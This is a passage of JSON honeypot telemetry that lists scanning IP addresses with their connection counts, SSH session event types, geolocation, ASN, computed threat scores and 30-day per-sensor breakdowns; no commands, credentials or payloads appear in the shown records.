        "Suricata": 30,
        "Dionaea": 13,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "104.152.52.218": {
      "attack_count": 4,
      "first_seen": "2026-05-14T15:19:51.586Z",
      "last_seen": "2026-05-14T15:19:51.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 9.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 11,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T08:32:26+00:00",
        "last_seen_30d": "2026-05-14T15:20:58.308000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "147.185.132.243": {
      "attack_count": 4,
      "first_seen": "2026-05-25T16:22:43.592Z",
      "last_seen": "2026-05-25T16:22:47.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T05:25:31.740000+00:00",
        "last_seen_30d": "2026-05-31T20:03:51.946000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 29,
        "Cowrie": 4
      }
    },
    "198.235.24.235": {
      "attack_count": 4,
      "first_seen": "2026-05-06T21:02:10.382Z",
      "last_seen": "2026-05-22T17:33:51.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T05:23:25+00:00",
        "last_seen_30d": "2026-05-31T03:54:59.204000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 15,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "3.81.224.7": {
      "attack_count": 4,
      "first_seen": "2026-05-11T00:59:41.566Z",
      "last_seen": "2026-05-11T00:59:47.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-11T00:59:41.566000+00:00",
        "last_seen_30d": "2026-05-21T00:55:02.161000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "45.174.75.253": {
      "attack_count": 4,
      "first_seen": "2026-05-13T05:40:21.579Z",
      "last_seen": "2026-05-13T05:44:23.215Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Aguascalientes",
      "asn": 28433,
      "as_org": "Doornet sa de cv",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:40:21.579000+00:00",
        "last_seen_30d": "2026-05-13T05:46:23.528000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "54.152.96.147": {
      "attack_count": 4,
      "first_seen": "2026-05-19T01:00:04.709Z",
      "last_seen": "2026-05-19T01:00:11.286Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 15.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 18,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T00:52:45+00:00",
        "last_seen_30d": "2026-05-24T00:53:06.116000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "95.44.165.208": {
      "attack_count": 4,
      "first_seen": "2026-05-12T01:33:13.465Z",
      "last_seen": "2026-05-14T09:09:49.097Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 5466,
      "as_org": "Eir Broadband",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:33:13.465000+00:00",
        "last_seen_30d": "2026-05-14T09:20:26.477000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "178.73.252.143": {
      "attack_count": 3,
      "first_seen": "2026-05-25T22:27:20.215Z",
      "last_seen": "2026-05-25T22:27:20.216Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42708,
      "as_org": "Glesys AB",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T22:27:20.215000+00:00",
        "last_seen_30d": "2026-05-25T22:28:26.030000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "91.231.89.213": {
      "attack_count": 3,
      "first_seen": "2026-05-23T01:23:16.461Z",
      "last_seen": "2026-05-23T01:23:16.464Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T18:27:45+00:00",
        "last_seen_30d": "2026-05-31T03:17:08.880000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 29,
        "Cowrie": 3,
        "Ciscoasa": 1
      }
    },
    "102.86.0.11": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:35:31.915Z",
      "last_seen": "2026-05-08T17:35:45.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 37075,
      "as_org": "ZAINUGAS",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:35:31.915000+00:00",
        "last_seen_30d": "2026-05-08T17:36:51.676000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.61.161": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:55:54.701Z",
      "last_seen": "2026-05-23T10:56:08.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:55:54.701000+00:00",
        "last_seen_30d": "2026-05-23T10:57:11.525000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.74.141": {
      "attack_count": 2,
      "first_seen": "2026-05-23T14:01:52.987Z",
      "last_seen": "2026-05-23T14:02:22.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:01:52.987000+00:00",
        "last_seen_30d": "2026-05-23T14:03:23.313000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.229.3.163": {
      "attack_count": 2,
      "first_seen": "2026-05-06T05:57:45.501Z",
      "last_seen": "2026-05-06T05:57:58.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:57:45.501000+00:00",
        "last_seen_30d": "2026-05-06T05:59:06.961000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.249.98.104": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:58:59.142Z",
      "last_seen": "2026-05-22T14:59:34.892Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Kunming",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:58:59.142000+00:00",
        "last_seen_30d": "2026-05-22T15:00:35.573000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.28.201.138": {
      "attack_count": 2,
      "first_seen": "2026-05-22T07:42:26.718Z",
      "last_seen": "2026-05-22T07:42:39.702Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Davao City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:42:26.718000+00:00",
        "last_seen_30d": "2026-05-22T07:43:47.182000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.161.67.47": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:47:02.153Z",
      "last_seen": "2026-05-02T09:47:15.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:47:02.153000+00:00",
        "last_seen_30d": "2026-05-02T09:48:24.569000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.231.245.170": {
      "attack_count": 2,
      "first_seen": "2026-05-19T07:12:24.515Z",
      "last_seen": "2026-05-19T07:12:37.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:12:24.515000+00:00",
        "last_seen_30d": "2026-05-19T07:13:47.603000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.240.203.189": {
      "attack_count": 2,
      "first_seen": "2026-05-31T14:23:43.635Z",
      "last_seen": "2026-05-31T14:24:14.523Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 131596,
      "as_org": "TBC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T14:23:43.635000+00:00",
        "last_seen_30d": "2026-05-31T14:25:14.836000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.111.240.195": {
      "attack_count": 2,
      "first_seen": "2026-05-27T06:23:08.531Z",
      "last_seen": "2026-05-27T06:23:20.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:23:08.531000+00:00",
        "last_seen_30d": "2026-05-27T06:24:28.633000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.162.245.76": {
      "attack_count": 2,
      "first_seen": "2026-05-12T03:57:56.676Z",
      "last_seen": "2026-05-12T03:58:09.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Timika",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:57:56.676000+00:00",
        "last_seen_30d": "2026-05-12T03:59:19.635000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "129.224.207.51": {
      "attack_count": 2,
      "first_seen": "2026-05-11T17:46:09.695Z",
      "last_seen": "2026-05-11T17:46:23.457Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:46:09.695000+00:00",
        "last_seen_30d": "2026-05-11T17:47:31.324000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.103": {
      "attack_count": 2,
      "first_seen": "2026-05-10T20:38:40.880Z",
      "last_seen": "2026-05-10T20:38:50.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 27,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T01:04:55.010000+00:00",
        "last_seen_30d": "2026-05-31T04:29:30.480000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 24,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "CitrixHoneypot": 1
      }
    },
    "160.187.113.17": {
      "attack_count": 2,
      "first_seen": "2026-05-03T22:06:49.402Z",
      "last_seen": "2026-05-03T22:07:03.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Mandaluyong",
      "asn": 139833,
      "as_org": "Cable Television Network Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:06:49.402000+00:00",
        "last_seen_30d": "2026-05-03T22:08:10.238000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.22.49.38": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:24:28.602Z",
      "last_seen": "2026-05-09T14:24:28.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T04:28:46+00:00",
        "last_seen_30d": "2026-05-10T15:14:40.974000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "170.80.35.23": {
      "attack_count": 2,
      "first_seen": "2026-05-11T00:22:24.492Z",
      "last_seen": "2026-05-11T00:22:37.731Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Gabriel do Oeste",
      "asn": 266366,
      "as_org": "GIGA NET TELECOMUNICACOES EIRELI - ME",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:22:24.492000+00:00",
        "last_seen_30d": "2026-05-11T00:23:41.356000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.144.167": {
      "attack_count": 2,
      "first_seen": "2026-05-17T17:44:12.376Z",
      "last_seen": "2026-05-17T17:44:25.530Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Franco da Rocha",
      "asn": 266468,
      "as_org": "ACESSANET TELECON LTDA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T17:44:12.376000+00:00",
        "last_seen_30d": "2026-05-17T17:45:26.254000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "174.16.193.75": {
      "attack_count": 2,
      "first_seen": "2026-05-15T12:14:03.363Z",
      "last_seen": "2026-05-15T12:14:16.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 209,
      "as_org": "CenturyLink Communications, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:14:03.363000+00:00",
        "last_seen_30d": "2026-05-15T12:15:20.602000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.0.71.236": {
      "attack_count": 2,
      "first_seen": "2026-05-14T10:28:00.391Z",
      "last_seen": "2026-05-14T10:28:12.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:28:00.391000+00:00",
        "last_seen_30d": "2026-05-14T10:29:15.006000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.225.67.241": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:55:56.144Z",
      "last_seen": "2026-05-11T12:57:56.145Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
